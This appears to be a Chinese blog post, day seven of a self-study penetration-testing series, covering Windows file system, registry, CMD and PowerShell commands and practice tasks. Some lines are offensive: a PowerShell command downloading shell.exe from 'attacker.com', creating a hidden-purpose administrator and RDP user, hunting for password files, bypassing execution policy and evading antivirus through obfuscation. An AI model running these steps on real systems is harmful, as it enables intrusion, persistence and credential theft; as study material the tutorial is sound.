自学渗透测试第七天（Windows基础与cmd命令）

关注

原创 2026-04-02 22:44:20 738 阅读 AI 写同款· GEO 优化 ›

VC雕虫小技集(三) VC雕虫小技集(三)何志丹1,固定窗口大小,最大值为(600,400),最小值也为(600,400).void CMainFrame::OnGetMinMaxInfo(MINMAXINFO FAR* lpMMI) { lpMMI->ptMaxTrackSize.x = 600; lpMMI->ptMaxTrackSize.y = 400; 阅读详情

第3章 Windows基础与法律合规（第7–8天）

3.1 Windows基础与CMD命令（第7天）

核心目标

掌握Windows系统架构：理解Windows文件系统、注册表、用户与权限体系、服务与进程等核心概念。
精通Windows命令行：熟练使用CMD和PowerShell进行系统管理、信息收集、配置审计和基本攻击操作。
建立跨平台思维：能够对比Linux与Windows在渗透测试中的异同，为内网横向移动和权限提升打下基础。

模块一：Windows系统基础与架构

1.1 Windows文件系统与路径

文件系统类型：NTFS（主流，支持权限、加密、压缩）、FAT32、exFAT。
目录结构：
- - C:\Windows：系统文件。
  - C:\Program Files& C:\Program Files (x86)：64位和32位程序。
  - C:\Users或 C:\Documents and Settings（旧版）：用户配置文件。
  - C:\Windows\System32：关键系统可执行文件。
特殊文件夹：
%SYSTEMROOT%和 %WINDIR%：指向Windows目录。
%USERPROFILE%：当前用户目录。
%APPDATA%：应用程序数据。
%TEMP%和 %TMP%：临时文件。

1.2 用户、组与权限

用户类型：管理员（Administrator）、标准用户、Guest(访客）。
内置组：Administrators、Users、Guests、Backup Operators（备份控制组）、Remote Desktop Users（远程控制组）。
权限模型：NTFS权限（读、写、修改、完全控制等）和共享权限。
查看当前用户：whoami、net user、net localgroup administrators。

1.3 注册表

Windows配置数据库：包含系统、程序、用户的所有设置。
五大根键：
- HKEY_CLASSES_ROOT (HKCR)：文件关联和COM对象。
- HKEY_CURRENT_USER (HKCU)：当前用户设置。
- HKEY_LOCAL_MACHINE (HKLM)：本地计算机设置（关键）。
- HKEY_USERS (HKU)：所有用户配置。
- HKEY_CURRENT_CONFIG (HKCC)：当前硬件配置。
渗透测试关联：自启动项、服务、密码哈希、系统信息等常驻留在注册表中。

1.4 服务与进程

服务：后台运行的程序，可通过services.msc或sc命令管理。
进程：运行中的程序实例。tasklist查看，taskkill终止。

模块二：CMD（命令提示符）核心命令

2.1 系统信息与用户管理

系统信息：

systeminfo                    # 详细系统信息（OS版本、补丁、网卡等）
hostname                     # 计算机名
ver                          # Windows版本

用户与组管理：

whoami                       # 当前用户
whoami /priv                 # 当前用户权限
whoami /groups               # 当前用户所属组
net user                     # 列出所有用户
net user [用户名]            # 查看指定用户信息
net localgroup administrators # 查看管理员组成员
net user [用户名] [密码] /add  # 创建用户
net localgroup administrators [用户名] /add  # 添加用户到管理员组

2.2 网络配置与诊断

网络配置：

ipconfig /all                # 查看所有网络适配器详细信息（IP、MAC、DNS）
ipconfig /release            # 释放IP
ipconfig /renew              # 续约IP

网络诊断：

ping -n 4 8.8.8.8           # 发送4个ICMP包
tracert 8.8.8.8              # 路由追踪
nslookup google.com          # DNS查询
netstat -ano                 # 查看所有连接和监听端口（-a所有，-n数字，-o PID）

2.3 文件与目录操作

浏览与操作：

dir                          # 列出目录内容
dir /a                       # 显示所有文件（包括隐藏）
cd [路径]                    # 切换目录
cd /d D:\                   # 切换驱动器
tree /f                      # 树形显示目录结构

文件操作：

type file.txt                # 查看文件内容（类似cat）
copy src.txt dst.txt         # 复制
move src.txt dst.txt         # 移动/重命名
del file.txt                 # 删除文件
rd /s /q directory           # 强制删除目录
注：#/s:递归删除，删除指定文件夹及其下的所有的文件
    #/q:安静模式：删除的时候不提示是否确认，直接执行
attrib +h +s file.txt        # 添加隐藏和系统属性
注：#+h：隐藏属性：文件在资源管理器中默认不可见
    #+s:系统属性：标记为系统文件，普通用户执行受到限制。

2.4 进程与服务管理

进程：

tasklist                     # 列出所有进程
tasklist /svc                # 列出进程及关联服务
taskkill /PID 1234 /F        # 强制结束PID为1234的进程
taskkill /IM notepad.exe /F  # 强制结束指定映像名的进程
注#/F:强制结束，即使进程在运行中不响应，也强制停止。（若没有该参数，系统可能会弹出确认或某个程序无法结束。

服务：

sc query                     # 列出所有服务
sc query [服务名]            # 查询特定服务状态
sc start [服务名]            # 启动服务
sc stop [服务名]             # 停止服务
sc config [服务名] start= auto  # 设置服务为自动启动

2.5 注册表操作

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run  # 查询自启动项
reg add [键路径] /v [值名] /t [类型] /d [数据]  # 添加/修改注册表
reg delete [键路径] /f                          # 删除注册表项

模块三：PowerShell基础与渗透测试优势

3.1 PowerShell简介

更强大的脚本环境：面向对象，与.NET Framework深度集成，是Windows渗透测试的首选。
执行策略：控制脚本运行权限。Get-ExecutionPolicy查看，Set-ExecutionPolicy Bypass绕过（需管理员）。
基本命令（Cmdlet）：动词-名词格式，如Get-Process、Stop-Service。

3.2 常用渗透测试相关Cmdlet

Get-WmiObject -Class Win32_OperatingSystem  # 获取系统信息
Get-LocalUser                               # 获取本地用户
Get-NetIPAddress                            # 获取IP配置
Get-Process | Where-Object {$_.ProcessName -eq "chrome"}
Stop-Process -Name notepad -Force
Get-Service | Where-Object {$_.Status -eq "Running"}
Invoke-WebRequest -Uri "http://attacker.com/shell.exe" -OutFile "C:\temp\shell.exe"  # 下载文件

模块四：当日达标实战任务

4.1 系统信息收集

完整系统画像：在一台Windows主机上，使用CMD命令收集以下信息：主机名、操作系统版本、已安装补丁、系统启动时间、网络配置（IP、MAC、网关、DNS）、当前登录用户及其权限、所有本地用户列表、管理员组成员列表。将命令和结果整理成报告。

#查看主机名
hostname
#收集操作系统版本
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
#已安装补丁
wmic qfe list brief /format:table
#系统启动时间
systeminfo | findstr /C:"system Boot Time"
#网络配置
ipconfig /all
#当前用户登陆及权限
whoami
 whoami /groups
 #所有本地用户的列表
 net user
 #管理员组成员列表
 net localgroups administrators

进程与服务分析：使用tasklist /svc找出所有由svchost.exe承载的服务。使用netstat -ano找出所有ESTABLISHED状态的TCP连接，并关联到具体的进程名。
```
tasklist /svc | findstr svchost.exe
```

4.2 文件系统与注册表探索

敏感文件搜索：使用dir /s /b C:\*.config、dir /s /b C:\*pass*.txt等命令，在C盘搜索可能包含配置和密码的文件。

netstat -ano | findstr ESTABLISHED
注：#netstat -ano :显示tcp连接状态、IP、端口及PID
    #findstr ESTABLISHED:只显示连接状态
tasklist /FI "PID eq <pid>"、
注：#将上一步抓取到的PID替换<pid
dir /s /b C:\*.config dir /s /b C:\*pass*.txt 注
#dir：列出目录内容 /s:递归子目录 /b：简洁路径输出，只显示完整文件目录

注册表键值查询：查询注册表中的常见自启动位置：HKLM\Software\Microsoft\Windows\CurrentVersion\Run和 HKCU\Software\Microsoft\Windows\CurrentVersion\Run。记录发现的启动项。 reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 注：#reg query：查询注册表 HKLM :本地计算机去全局自启动 HKCU:当前用户自启动

4.3 权限与用户操作

用户创建与提权：在拥有管理员权限的CMD中，尝试创建一个新用户test_hacker，并将其添加到Administrators组和Remote Desktop Users组。
```
net user test_hacker 123456 /add
net localgroup administrators test_hacker /add
net localgroup "Remote desktop users" test_hacker /add
```
密码策略查看：运行net accounts命令，查看系统的密码策略（长度、有效期、锁定阈值等）。
```
net accounts
```

4.4 简单批处理脚本

编写一个批处理脚本（.bat），实现以下功能：显示欢迎信息、显示当前日期时间、列出C盘根目录、暂停等待用户按键后结束。

@echo off
echo 欢迎使用系统信息查看工具
echo 当前日期和时间: %date% %time%
echo C盘根目录列表：
dir C:\
pause
#运行该脚本的方法：
C:\temp\example.bat

模块五：常见问题与解决方案

5.1 权限问题

“请求的操作需要提升”：需要以管理员身份运行CMD。右键点击“命令提示符”，选择“以管理员身份运行”。
无法创建用户或修改组：当前用户权限不足，或用户账户控制（UAC）被触发。需在管理员权限下并可能需确认UAC弹窗。

5.2 命令语法与差异

del和rmdir与Linux的rm和rmdir区别：Windows的del用于文件，rmdir（或rd）用于目录，且默认不递归删除非空目录，需加/s参数。
路径分隔符：Windows使用反斜杠\，但在命令行中也常接受正斜杠/。但在涉及转义时需注意。

5.3 安全特性绕过

PowerShell执行策略限制：可通过-ExecutionPolicy Bypass参数运行单条命令或脚本，或使用Set-ExecutionPolicy修改策略（需管理员）。
防病毒软件拦截：某些敏感命令（如添加用户、下载执行）可能被AV拦截。在测试环境中可暂时禁用AV，或研究混淆、编码技术。

明日预告：第8天将聚焦网络安全法、伦理规范与工具链联动，这是每位安全从业者必须遵守的底线和必须掌握的协同作战能力。我们将系统学习法律红线、道德准则，并实践如何将已学的Linux、Windows、网络、抓包工具串联起来，完成一个微型但完整的渗透测试工作流。

————————————————————————————————————————

免责声明
本技术分享内容仅供学习和交流目的，不构成任何形式的专业建议或承诺。

分享者不对因使用或参考本内容而导致的任何直接或间接损失或损害承担责任。

网络安全技术涉及潜在风险，请在合法授权范围内谨慎操作，遵守相关法律法规。

读者应自行评估技术适用性，并在实际环境中采取必要的安全措施。

版权声明
未经许可，不得擅自修改、转载或用于商业用途。